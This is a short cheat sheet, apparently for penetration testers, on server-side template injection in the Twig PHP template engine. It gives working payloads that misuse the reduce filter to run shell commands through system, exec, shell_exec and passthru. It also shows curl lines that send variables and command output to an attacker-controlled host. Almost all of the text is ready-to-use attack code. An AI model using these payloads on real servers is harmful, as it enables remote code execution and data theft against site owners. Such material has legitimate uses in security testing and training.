Twig is a MVC-based tem­plate engine for PHP.

Doc­u­men­ta­tion

Out­put a value:

{{ var }}

Force a error, e.g. via a invalid operation:

{{'a' * 5}}

Con­cata­na­tion of strings:

{{ 'a' ~ 'a' }}

The reduce method take a func­tion and then para­me­ters… (It’s a PHP tem­plate engine, remember?)

{{ [0]|reduce('system','whoami')}}
{{ [0]|reduce('exec', 'whoami') }}
{{ [0]|reduce('shell_exec', 'whoami') }}
{{ [0]|reduce('passthru', 'whoami') }}

To find more of that kind: Scan the docu for com­mands which use functions (=>).

Exfil­tra­tion of a variable:

{% set exfil = "Hello"| url_encode %}
{{ [0]|reduce('system','curl http://$attacker/bla?exfil=' ~ exfil)}}

Exfil­tra­tion of com­mand returns:

{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}

{% set exfil = output| url_encode %}
{{ [0]|reduce('system','curl http://$attacker/bla?exfil=' ~ output)}}